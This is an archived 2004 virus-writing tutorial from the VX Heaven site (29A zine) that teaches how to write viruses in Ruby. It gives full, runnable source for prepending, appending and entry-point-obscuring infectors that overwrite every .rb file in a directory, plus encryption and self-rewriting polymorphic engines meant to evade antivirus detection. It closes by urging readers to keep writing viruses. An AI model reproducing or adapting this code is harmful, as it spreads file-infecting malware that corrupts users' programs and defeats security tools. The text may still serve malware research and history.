Maximize
Bookmark

VX Heaven

Library Collection Sources Engines Constructors Simulators Utilities Links Forum

RUBY Virus Writing Guide

SPTH
29A #8
November 2004

1
[Back to index] [Comments (0)]

Index

  1. Intro Words
  2. File infection
    1. Prepending
    2. Appending
    3. Entry Point Obscuring
  3. Encryption
    1. Virus as ASCII numbers
    2. Virus as Characters
  4. Polymorphism
    1. Random encryption: ASCII number function
    2. Code-As-String morphing
    3. Adding Trash
    4. Variable-Name Changing
    5. Number Changing
    6. Permutation
  5. Last Words

0) Intro Words

Ruby is an interpreted script language, which is mainly used for web-sites. You can do alot of things with Ruby. The language's syntax has quite a lot realtion-ship to the C-syntax, but the whole language seems to be nearer to PHP or VB. It's a quite nice mixture of several famouse language, therefore it should not be that problem to learn the language, if you already know some other web-based script languages. The official site of Ruby is: http://www.ruby-lang.org/en/. The language has been done in japan, where it is very famouse. I've read about Ruby in a Linux Magazine, with a Knoppix 3.6-script-edition CD. As the text about Ruby was nice, I wanted to try it. And so I did. I've tested every source with ActiveScriptRuby 1.8.1.2 (http://arton.hp.infoseek.co.jp/). With this article I wanted to discover another language fully. I hope you like it, if not, I don't care alot, because I had fun while writing it. :)

1) File infection

Writing a file infector seems to be the most important thing for such an article therefore this is the first point. Well, now you will see some different types of infection: prepender and appender (the standart-types) and EPO (the advanced file infection). Just look at these codes and explanations!

a) Prepending

One of the standart-types of infection is prepending. Prepending is copying the viruscode infront of the host file. Just look at the code, and then read the short descriptiong. I'm sure you will understand, how it works.

Ruby Prepender Virus Example

# RUBY.Paradoxon
mycode=File.open(__FILE__).read(630)
cdir = Dir.open(Dir.getwd)
  cdir.each do |a|
    if File.ftype(a)=="file" then
      if a[a.length-3, a.length]==".rb" then
        if a!=File.basename(__FILE__) then
          fcode=""
          fle=open(a)
          spth=fle.read(1)
          while spth!=nil
            fcode+=spth
            spth=fle.read(1)
          end
          fle.close
          if fcode[7,9]!="Paradoxon" then
            fcode=mycode+13.chr+10.chr+fcode
            fle=open(a,"w")
              fle.print fcode
            fle.close
          end
        end
      end
    end
  end
cdir.close
 

The virus above is 'Ruby.Paradoxon', the very first virus infecting Ruby files. I've done it in November 2004. I'll shourtly tell you, what the virus does:

b) Appending

The second standart-type of infection is appending. An appender virus writes its code in the end of the real code. As an result the virus runs after the hostfile. The following code shows you, how such a virus could look like in Ruby.

Ruby Appender Virus Example

# SPTH
mycode=""
mych=File.open(__FILE__)
myc=mych.read(1)
while myc!=nil
  mycode+=myc
  myc=mych.read(1)
end
mycode=mycode[mycode.length-734,734]
cdir = Dir.open(Dir.getwd)
  cdir.each do |a|
    if File.ftype(a)=="file" then
      if a[a.length-3, a.length]==".rb" then
        if a!=File.basename(__FILE__) then
          fcode=""
          fle=open(a)
          spth=fle.read(1)
          while spth!=nil
            fcode+=spth
            spth=fle.read(1)
          end
          fle.close
          if fcode[fcode.length-732,4]!="SPTH" then
            fcode=fcode+13.chr+10.chr+mycode
            fle=open(a,"w")
              fle.print fcode
            fle.close
          end
        end
      end
    end
  end
cdir.close
 

Appender viruses are a little bit more difficult, but far away from hard :) Just look at the explanation, if you dont understand, how it works:

c) Entry Point Obscuring

Entry Point Obscuring is the advanced way of infecting a file. It means, that the code will be added at any variable offset. The result is, that AVs can not search at any static address but have to search in the whole file for the virus. This leads to a longer search-process.

The following example of a EPO Ruby virus infects the file anywhere in the middle. Therefore it gets the lines of the file, calculate a random offset, and then include inself between line 1 and N. Look at the code and the description below, to understand how this works.

Ruby EPO Virus Example

# SPTH
mycode=""
mych=File.open(__FILE__)
myc=mych.read(1)
while myc!=nil
  mycode+=myc
  myc=mych.read(1)
end
i=0
while myc!="SPTH"
  myc=mycode[i,4]
  i+=1
end
mycode="# S"+mycode[i,1382]
cdir = Dir.open(Dir.getwd)
  cdir.each do |a|
    if File.ftype(a)=="file" then
      if a[a.length-3, a.length]==".rb" then
        if a!=File.basename(__FILE__) then
          fcode=""
          fle=open(a)
          spth=fle.read(1)
          while spth!=nil
            fcode+=spth
            spth=fle.read(1)
          end
          fle.close
          i=0
          inf=0
          lc=0
          while i<fcode.length
            i=i+1
            if fcode[i,4]=="SPTH" then
              inf=1
            end
            if fcode[i,1]==10.chr then
              lc+=1
            end
          end
          if inf!=1 then
            ln=rand(lc)
            precode=""
            i=0
            j=0
            while i < ln
              precode+=fcode[j,1]
              j+=1
              if fcode[j,1]==10.chr then
                i+=1
              end
            end
            newcode=precode+13.chr+10.chr+mycode+13.chr+10.chr
            while j<=fcode.length
              newcode+=fcode[j,1]
              j+=1
            end
            fle=open(a,"w")
              fle.print newcode
            fle.close
          end
        end
      end
    end
  end
cdir.close
 

As I've already written, the virus includes itself anywhere between the code. Therefore it searchs all lines of the host and include itself anywhere between the lines. The infected file could look like that after infection: <l1,l2,l3,l4,l5><VIRUS><l6,l7,l8,l9,l10,l11,l12,l13,l14,l15> Next points are more detailed descriptions of the code, how it works:

2) Encryption

To fake AVs one word comes to the story: Encryption. The purpose of encryption is to chiffer the code, that it can not be read in the normal way. A non-encrypted virus is normally quiet easy to analyse and to detect. An encrypted virus is different: The AV researcher first have to find the plain code. And the detection routine has also to emuate the the decrytion routine of the virus. As a result the time of detection increases. And that's a success for us! :)

a) Virus as ASCII numbers

This is a very easy and often used way of chiffering script and web-based languages. You change the whole code into the ascii numbers of itself. With a polymorphic engine you can increase the power of this technique very much (you will find that technique above in the next chapter). Just look at the code, and understand, what i mean.

Encryption Example - Type I

eval(112.chr+114.chr+105.chr+110.chr+116.chr+40.chr+
     34.chr+72.chr+101.chr+108.chr+108.chr+111.chr+
     32.chr+118.chr+120.chr+101.chr+114.chr+115.chr+33.chr+34.chr+41.chr)
 

The code contains one print-command, which writes one short (secret) sentence. As you can see, you can not read the code without playing around with it. The code uses an command called 'eval' to run commands. This is in this chapter our most importend command. Well, I think you know how it works.

b) Virus as Characters

The next encryption technique is also very often used in script languages. For instance jackie has done the same thing in JavaScript. I thought it would also be possible in Ruby, I was right. First I've tried to make a polymorphism engine, but it was not possible, because of some special characters, and Ruby can not ignore them. Therefore I had to make it just as simple encryption. The technique works this way: An variable contains the code, XOR'ed with a number (key). Then the decrytion routine gets the real code. After that the real code will be executed (evaluated). Look at the example and try to understand what I mean:

Encryption Example - Type II

code="üþåâø¤®ÞùîõÓåÿÓïããඥ®¥"
i=0
newcode=""
while i<code.length
  nc=eval("?"+code[i,1]) ^ 140
  newcode+=nc.chr
  i+=1
end
eval(newcode)
 

There are several other ways to encrypt a Ruby script code, but it's possible to use these techiques as random encryption, therefore I've added it in the next chapter: Polymorphism.

3) Polymorphism

This word is very well known, and it's one of the best ways to fake AVs. In this article I wanted to give you all ideas and codes I had about polymorphism. Short after starting to write the article i've recognized that I have alot of ideas, how a Ruby polymorphism could look like. The following codes aren't viruses, but just polymorphism engines. It's quite easy to include them to a virus, therefore I haven't added a infection routine. Well about polymorphism: Poly is a synonym for 'many' and morph means 'changing'. That means, that polymorphism says 'many changes'. The following codes and ideas will tell you, how a polymorphic virus in ruby could work. Just go on reading...

a) Random encrypter: ASCII Number function

This technique has it's code transformed into ASCII-numbers with two other values. A function, which gets the 3 values then returns the real number. That means, that the code is build of three values, which together become the real ASCII-number by a decryption function. The following code morphes itself at every generation with this technique:

Polymorphism Example - ASCII Number function

Polymorphism Example - ASCII Number function

This is the real polymorphism engine. The encrypted text contains the encrypter. You can not understand the chiffer-text without encrypting it, therefore I've added the unencrypted sample. The explanation follows later on:

Polymorphism Example I - Inside

i=0
newcode=""
while i<code.length
  if code[i,1]==10.chr then
    newcode+=34.chr+92.chr+"n"+34.chr+"+"
  elsif code[i,1]==32.chr then
    newcode+=34.chr+92.chr+"s"+34.chr+"+"
  elsif code[i,1]==92.chr then
    if code[i,2]==92.chr+"s" then
      newcode+="bs+"
    else
      newcode+="bn+"
    end
    i+=1
  elsif code[i,1]==95.chr then
    newcode+="mf+"
    i+=7
  else
    b=eval("?"+code[i,1])
    rnb=rand(254)+1
    rnc=rand(3)
    if rnc==0 then
      newcode+="dc("+String(b-rnb)+","+String(rnb)+","+String(rnc)+")+"
    elsif rnc==1
      newcode+="dc("+String(b+rnb)+","+String(rnb)+","+String(rnc)+")+"
    else rnc==2
      newcode+="dc("+String(b*rnb)+","+String(rnb)+","+String(rnc)+")+"
    end
  end
  i+=1
end
newcode=newcode[0,newcode.length-1]
m=open(__FILE__)
  decen=m.read(184)
m.close
m=open(__FILE__,"w")
  m.write(decen+"\ncode="+newcode+"\neval(code)")
m.close
 

Now you should understand how it works, if you look at the code. The whole thing works like that:

b) Code-As-Sting morphing

As a code could be evaluated as a String, and we could morph a String, and it still has the original content, we could use a String as our code. This time we don't use a decrypting routine but use variables and character-numbers for self-converting it to the old plain text. A shourt explanation is this code-snip:

           code='Code-As-String morphing'
 

could also be

           ehxx='o'
           cojf='s'
           qtze='r'
           code='C'+ehxx+''+100.chr+'e'+bs+'A'+cojf+''+bs+''+83.chr+'tr'+105.chr+''+110.chr+'g'+bs+'mo'+qtze+'phing'
 

First you should check out the engine's code, and look at the explanation later on. I've added the ready-to-run engine (already encrypted, otherwise it would not work), and the plain text in the encrypted string. First, the whole engine:

Polymorphism Example - Code-As-Sting morphing

bs=32.chr
bn=10.chr
mf=File.basename(__FILE__)
jeol='w'
vljp='e'
pnvj='.'
dzac='"'
okas='m'
vzcu='('
ylwf='m'
wrvn='"'
qhze='c'
syfp='d'
xqfk='.'
ueaz=','
ymek='.'
gnzv='i'
sgzr='b'
sgge='+'
pttf='i'
tuuz='c'
kkwl='o'
taot='d'
plbx='i'
ouij='0'
wrat='e'
nixi='+'
covt='"'
nnjw='c'
ifpt='i'
bwiy='e'
jjgv='w'
oheh='d'
gvmz='='
cxpe='3'
ttjy='r'
njpx='+'
vkjp='.'
asfu='s'
pran='f'
eoik='o'
bvle='['
uvvx='='
uwbo='o'
mpta=','
pjor='2'
havc='9'
rhet='t'
xdec='"'
txwe='3'
ndkt='3'
lgtf='"'
inuq='+'
uguw=','
saba='.'
emnf='.'
phdj='3'
ucos='c'
geul='+'
xayn='f'
ekau='7'
iwok=')'
rhom='9'
wxrt='7'
qcbu='c'
qnke='d'
zcas='('
putq=')'
bcug='9'
xygd='+'
bhcw='a'
dbjs='d'
ezjl='('
ttul='9'
jooo=')'
eslo='r'
dehb='i'
yrkk='t'
ygfw='"'
uaau='1'
jxec='9'
tzqa='r'
etto='3'
keyq='r'
ajoo='l'
edvw='s'
jwlo='o'
syln='e'
yvaq='3'
bfuu='c'
symo='"'
ngeb='"'
ybto='g'
acco='v'
efex='+'
xrtx='d'
lrdh='"'
smyz='c'
rbkp='9'
myvh='c'
rxug='e'
xins='n'
mpwk='d'
tyrr='w'
yzlc='o'
chtw='e'
code='i=0'+bn+'ne'+jeol+'c'+111.chr+'d'+vljp+'=3'+57.chr+'.'+99.chr+'hr'+bn+''+109.chr+'f=o'+112.chr+''+101.chr+'n("code'+pnvj+'rb'+dzac+')'+bn+''+99.chr+'b'+99.chr+'='+okas+'f.'+114.chr+'e'+97.chr+'d'+vzcu+'46)'+bn+''+ylwf+'f'+46.chr+'clos'+101.chr+''+bn+'m'+102.chr+'='+111.chr+'pen('+wrvn+''+qhze+'o'+syfp+''+101.chr+''+xqfk+'r'+98.chr+'"'+ueaz+'"w")'+bn+''+109.chr+'f'+ymek+''+119.chr+'r'+gnzv+'te(c'+sgzr+'c'+sgge+'"'+bn+'"'+41.chr+''+bn+'whil'+101.chr+''+bs+''+pttf+''+60.chr+'co'+100.chr+''+101.chr+'.'+108.chr+'en'+103.chr+''+116.chr+''+104.chr+''+bn+'if'+bs+''+tuuz+''+kkwl+''+taot+'e['+plbx+',1]'+61.chr+'='+49.chr+''+ouij+'.chr'+bs+''+116.chr+''+104.chr+'en'+bn+'n'+wrat+'wc'+111.chr+'d'+101.chr+'+'+61.chr+'39.chr+"+b'+110.chr+''+nixi+''+covt+''+43.chr+'39.'+nnjw+'h'+114.chr+''+bn+''+101.chr+'ls'+ifpt+''+102.chr+''+bs+'code[i,1]=='+51.chr+'2.c'+104.chr+''+114.chr+''+bs+'th'+bwiy+'n'+bn+'n'+101.chr+''+jjgv+'c'+111.chr+''+oheh+''+101.chr+'+'+gvmz+''+cxpe+'9'+46.chr+'c'+104.chr+''+ttjy+''+njpx+'"+b'+115.chr+''+43.chr+'"+39'+vkjp+'ch'+114.chr+''+bn+''+101.chr+'l'+asfu+'i'+pran+''+bs+'c'+eoik+'de'+bvle+'i'+44.chr+'1]'+uvvx+'=92.chr'+bs+''+116.chr+''+104.chr+'e'+110.chr+''+bn+'i'+102.chr+''+bs+'c'+uwbo+'de[i'+mpta+''+pjor+']=='+havc+'2.chr+"s"'+bs+''+rhet+'hen'+bn+''+110.chr+'ewcode+='+51.chr+'9'+46.chr+'chr+"+bs+'+xdec+''+43.chr+''+txwe+'9.chr'+bn+'else'+bn+''+110.chr+'ewcode+='+ndkt+''+57.chr+'.ch'+114.chr+'+'+lgtf+''+inuq+'bn+'+34.chr+'+'+51.chr+''+57.chr+''+46.chr+'chr'+bn+'end'+bn+'i'+43.chr+''+61.chr+'1'+bn+'elsi'+102.chr+''+bs+'code[i'+uguw+'1]==95'+saba+'chr'+bs+'the'+110.chr+''+bn+'new'+99.chr+'ode+'+61.chr+'34'+emnf+'chr+'+phdj+'9.'+ucos+'hr+"'+geul+'m'+xayn+'+"+3'+57.chr+''+46.chr+'c'+104.chr+'r+34.chr'+bn+'i+='+ekau+''+bn+'el'+115.chr+'e'+bn+'r='+114.chr+'and(6'+iwok+''+bn+'i'+102.chr+''+bs+'r=='+48.chr+''+bs+''+116.chr+'he'+110.chr+''+bn+'v='+40.chr+'ran'+100.chr+'(26)+'+rhom+''+wxrt+').'+qcbu+''+104.chr+'r'+43.chr+'(ran'+qnke+''+zcas+''+50.chr+'6'+putq+''+43.chr+''+bcug+'7).'+99.chr+''+104.chr+'r+(r'+97.chr+'n'+100.chr+'(26)+9'+55.chr+').'+99.chr+'hr'+xygd+'(r'+bhcw+''+110.chr+''+dbjs+''+ezjl+'26'+41.chr+''+43.chr+''+ttul+'7'+jooo+'.c'+104.chr+''+eslo+''+bn+'m'+102.chr+'.wr'+dehb+''+yrkk+'e(v+'+ygfw+'="+39'+46.chr+'chr+'+99.chr+'ode[i,'+uaau+']+3'+jxec+''+46.chr+''+99.chr+'h'+tzqa+'+1'+48.chr+'.c'+104.chr+'r)'+bn+'newcode'+43.chr+'='+etto+'9'+46.chr+''+99.chr+'h'+114.chr+''+43.chr+'"+"+v+"+"+3'+57.chr+'.ch'+keyq+''+bn+'e'+ajoo+''+edvw+'if'+bs+'r==1'+bs+'t'+104.chr+'en'+bn+'new'+99.chr+''+jwlo+'d'+syln+'+='+yvaq+'9.'+bfuu+''+104.chr+'r'+43.chr+''+symo+'+'+ngeb+''+43.chr+'Strin'+ybto+'(e'+acco+'a'+108.chr+'("?"'+efex+'c'+111.chr+''+xrtx+''+101.chr+'[i,1]))+'+lrdh+''+46.chr+''+smyz+''+104.chr+'r+"+3'+rbkp+'.'+99.chr+'hr'+bn+'else'+bn+'new'+myvh+'o'+100.chr+''+rxug+'+=code[i'+44.chr+'1'+93.chr+''+bn+'e'+xins+''+mpwk+''+bn+'e'+110.chr+''+100.chr+''+bn+'i+'+61.chr+''+49.chr+''+bn+'end'+bn+''+109.chr+'f.'+tyrr+''+114.chr+'i'+116.chr+'e("code'+61.chr+'"+newc'+yzlc+''+100.chr+''+chtw+'+3'+57.chr+'.chr+"'+bn+'e'+118.chr+'al'+40.chr+'code)"'+41.chr+''+bn+''
eval(code)
 

You see, that you dont understand anything from this one without decrypt it. Therefore here is the encrypted version of the encrypter. It would not work, if you just use the decrypted version, because 1) Eval can not use __FILE__, it has to be outside the encrypted text, 2) Ruby can not find the character of 10.chr or 32.chr (space) and 3) the code has to use itself, therefore there must be a variable containing the encryption tool. Well, now look at the encryption tool:

Polymorphism Example II - Inside

i=0
newcode=39.chr
mf=open(__FILE__)
  cbc=mf.read(46)
mf.close
mf=open(__FILE__,"w")
mf.write(cbc+"\n")
while i<code.length
  if code[i,1]==10.chr then
    newcode+=39.chr+"+bn+"+39.chr
  elsif code[i,1]==32.chr then
    newcode+=39.chr+"+bs+"+39.chr
  elsif code[i,1]==92.chr then
    if code[i,2]==92.chr+"s" then
      newcode+=39.chr+"+bs+"+39.chr
    else
      newcode+=39.chr+"+bn+"+39.chr
    end
    i+=1
  elsif code[i,1]==95.chr then
    newcode+=34.chr+39.chr+"+mf+"+39.chr+34.chr
    i+=7
  else
    r=rand(6)
    if r==0 then
      v=(rand(26)+97).chr+(rand(26)+97).chr+(rand(26)+97).chr+(rand(26)+97).chr
      mf.write(v+"="+39.chr+code[i,1]+39.chr+10.chr)
      newcode+=39.chr+"+"+v+"+"+39.chr
    elsif r==1 then
      newcode+=39.chr+"+"+String(eval("?"+code[i,1]))+".chr+"+39.chr
    else
      newcode+=code[i,1]
    end
  end
  i+=1
end
mf.write("code="+newcode+39.chr+"\neval(code)")
 

The plain text should be understandable. The engine works this way:

c) Adding Trash

According to Vesselin Bontchev, adding Junk/Garbage is Polymorphism Level 3. This technique is very often used in script viruses (VBS, JS, PHP) because it is not quite difficult to write such an engine. This technique adds random code to the viral code, which doesn't do anything. Its purpose is to return a variable size of the engine and to stop the possibility of detecting a code by two lines, which are next to each other (if line[n]=='this' AND line[n+1]=='that' then 'infected'). The following code includes at random places random garbage in with the chance of 3/10. First you will see the code, then the explanation to it:

Polymorphism Example - Adding Trash

def rn(rnum,t)
  @rc=""
  while rnum>0
    if t==1 then
      @rc+=(rand(26)+97).chr
    else
      @rc+=(rand(9)+49).chr
    end
    rnum-=1
  end
  return @rc
end

 @mf=open(__FILE__)
 @code=""
 @cc=@mf.read(1)
while @cc!=nil
  @code+=@cc
  @cc=@mf.read(1)
end
 @mf.close
 @newcode=""
 @i=0
while @i<@code.length
  if @code[@i,1]==10.chr then
    @newcode+=10.chr
    @i+=1
    if @code[@i,1]=='#' or @code[@i,1]=='@' then
      while @code[@i,1]!=10.chr
        @i+=1
      end
    else
      if rand(10)==1 then
        @newcode+='# '+rn(rand(50),1)+10.chr
      elsif rand(10)==2 then
        @newcode+='@'+rn(rand(10)+2,1)+"="+34.chr+rn(rand(23),1)+34.chr+10.chr
      elsif rand(10)==3 then
        @newcode+='@'+rn(rand(10)+2,1)+"="+rn(rand(23)+1,2)+10.chr
      end
    end
  else
    @newcode+=@code[@i,1]
    @i+=1
  end
end
 @mf=open(__FILE__,"w")
 @mf.write(@newcode)
 @mf.close
 

The code you can see above works really good. I'm going to explain now how exactly it works:

d) Variable-Name Changing

This is maybe the most well-known polymorphic technique for script viruses. It is already done in VBScript, JScript, PHP. That nearly forced me to write also a Ruby Variable-Name Changing engine. So I did. If anybody dont know the technique, i'll explain it: A virus code uses alot of variables, for doing different things. Normally variables have static names, but they would not need then. So we are going to change every variable in the code, and replace it with a new one. This sounds not difficult, and it is not difficult. Just look at the following code, which changes its variables on every execution. The explanation follows after the code.

Polymorphism Example - Variable-Name changing

def randnumf(rnum)
  rc=""
  rnum+=3
  while rnum>0
    rc+=(rand(26)+97).chr
    rnum-=1
  end
  return rc
end

vlist=["myfile","vlist","randnumf","rnum","rc","nlist","counterl","myfile","counteri","mycode","mycone","counterj","counterk","mynextfile"]
nlist=[]
counterl=0
while counterl<vlist.length
  nlist[counterl]=randnumf(10)
  counterl+=1
end
myfile=open(__FILE__)
counteri=0
mycode=""
mycone=myfile.read(1)
while mycone!=nil
  mycode+=mycone
  mycone=myfile.read(1)
  counteri+=1
end
counterk=0

while counterk<vlist.length
  counterj=0
  while counterj<mycode.length
    if mycode[counterj,vlist[counterk].length]==vlist[counterk] then
      mycode[counterj,vlist[counterk].length]=nlist[counterk]
      counterj+=vlist[counterk].length
    else
      counterj+=1
    end
  end
  counterk+=1
end

mynextfile=open(__FILE__,"w")
mynextfile.write(mycode)
mynextfile.close
 

The idea of that technique isn't new, but its code is. Read the explanation to get the idea how this engine works:

e) Number Changing

As you should already know it from it's name, this technique changes every number in the code. The main thing of this technique is, that a calculation could also return the real number of a code. This technique has also be used in JavaScript or PHP. If you don't understand my explanation just look at the example:

1 = (((156+224)/(150/30))-((13695+69)/(49+137))) = (-((17875/65)-(275-66))+((1012/46)+(9495/211)))

This should explain the idea. Now let's move to the code:

Polymorphism Example - Number changing

def rc(number,rn,rre)
  number=Integer(number)
  if rn==0 then
    return "("+String(number-rre)+"+"+String(rre)+")"
  elsif rn==2 then
    return "("+String(number+rre)+"-"+String(rre)+")"
  else
    return "("+String(number*rre)+"/"+String(rre)+")"
  end
end

mf=open(__FILE__)
code=""
c=mf.read(1)
while c!=nil
 code+=c
 c=mf.read(1)
end

i=0
while i<code.length
  n=""
  while code[i,1]!=10.chr and code[i,1]!=32.chr and eval("?"+code[i,1])<=57 and eval("?"+code[i,1])>=48
    n+=code[i,1]
    i+=1
  end
  if n!="" then
    rndc=rc(n,rand(3),(rand(250)+1))
    code[i-n.length,n.length]=rndc
    i+=(rndc.length-n.length)
  end
  i+=1
end

mf=open(__FILE__,"w")
mf.write(code)
mf.close
 

Explanation of the code follows now, as at every example:

f) Permutation

This is a very well known technique for morphing viruses, and not only for scripts. A permutation code will be splitted in several parts, and then mixed together in a random order. How could we do it in Ruby? We use functions, and split the code into funtions, which are put together. Look at the code to understand the technique:

Polymorphism Example - Permutation

def start()
  vf=[]
  code=""
  mf=open(__FILE__)
  c=mf.read(1)
  while c!=nil
    code+=c
    c=mf.read(1)
  end
  mf.close
  st2(code,0,vf)
end

def st2(code,i,vf)
  fc=6
  while i<code.length
    if code[i,3]=="d"+"ef" then
      vf=st3(code,i,vf,fc)
      fc-=1
    end
    i+=1
  end
  st6(vf)
end


def st3(code,i,vf,fc)
  j=1
  iold=i
  while j>0
    if code[i,3]=="e"+"nd" then
      j=st4(j)
    end
    if code[i,5]=="w"+"hile" or code[i,3]=="i"+"f " then
      j=st5(j)
    end
    i+=1
  end
  vf[fc]=code[iold, i-iold+3]
  return vf
end

def st4(j)
  return(j-1)
end


def st5(j)
  return(j+1)
end

def st6(vf)
  mf=open(__FILE__,"w")
  fc=0
  while fc<6
    a=rand(6)+1
    if vf[a]!="" then
      mf.write(vf[a])
      vf[a]=""
      fc+=1
    end
  end
  mf.write("\nstart()")
  mf.close
end

start()
 

The code you are looking at has 6 function, which changes their order at every execution The following code has 720 mutations: 6! = 6*5*4*3*2*1. A very important thing when writing a permutation virus with functions is, that you must give each funtion every variable-value it needs, because all variables are defined inside the function, and not global. Now read on how the thing works:

4) Last Words

In the end I have to say that Ruby is a quiet nice language, especially for viruses. Many technique are able to bring them to reality, even if some important commands, which are available in other languages, are missing. I hope that this tutorial helps you, firstly learning a maybe new language and secondly learning how to write a virus for it.

An article normally should end with greets, but I'm too lazy for that and I'm scared of forgetting anybody, so my greets goes to everybody. Especially to my home-group rRlf (rrlf.host.sk) :) Now, a thank you to you, reader, for still reading the maybe most uninteresting part of the article :) I hope you have liked it, and I would be very happy if you could send me your opinion, maybe bug (I dont think so) or suggestions! One important part in the end: Never stopp writing viruses, don't let virus writing dying! OK, see you out there soon...

                                                        - - - - - - - - - - - - - - -
                                                          Second Part To Hell/[rRlf]  
                                                          www.spth.de.vu
                                                          [email protected]
                                                          written from oct-november 2004
                                                          Austria
                                                        - - - - - - - - - - - - - - - 
[Back to index] [Comments (0)]
By accessing, viewing, downloading or otherwise using this content you agree to be bound by the Terms of Use! vxheaven.org aka vx.netlux.org
deenesitfrplruua